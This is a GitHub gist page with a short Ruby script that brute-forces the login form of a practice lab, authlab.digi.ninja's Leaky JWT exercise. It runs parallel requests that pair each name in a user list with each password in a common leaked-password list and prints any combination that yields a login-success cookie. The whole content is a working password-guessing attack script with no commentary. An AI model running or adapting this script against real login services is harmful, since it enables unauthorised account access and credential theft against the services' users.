Skip to content

Instantly share code, notes, and snippets.

@ugnius-s
Created September 4, 2019 23:22
Show Gist options
  • Select an option

  • Save ugnius-s/3c2d339cc6a3ee21e94e12cbb6759af0 to your computer and use it in GitHub Desktop.

Select an option

Save ugnius-s/3c2d339cc6a3ee21e94e12cbb6759af0 to your computer and use it in GitHub Desktop.
require 'http'
require 'parallel'
uri = "https://authlab.digi.ninja/Leaky_JWT_Login"
userlist = File.readlines('users.db').map(&:strip)
passlist = File.readlines('/usr/share/seclists/Passwords/darkweb2017-top1000.txt').map(&:strip)
Parallel.each(userlist, in_processes: 5) do |user|
Parallel.each(passlist, in_processes: 20) do |pass|
response = HTTP.post(uri, form: { username: user, password: pass })
if response.cookies.cookies.to_s.include?('Login+Success')
puts "[!] Found valid username: #{user} and password: #{pass}"
end
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment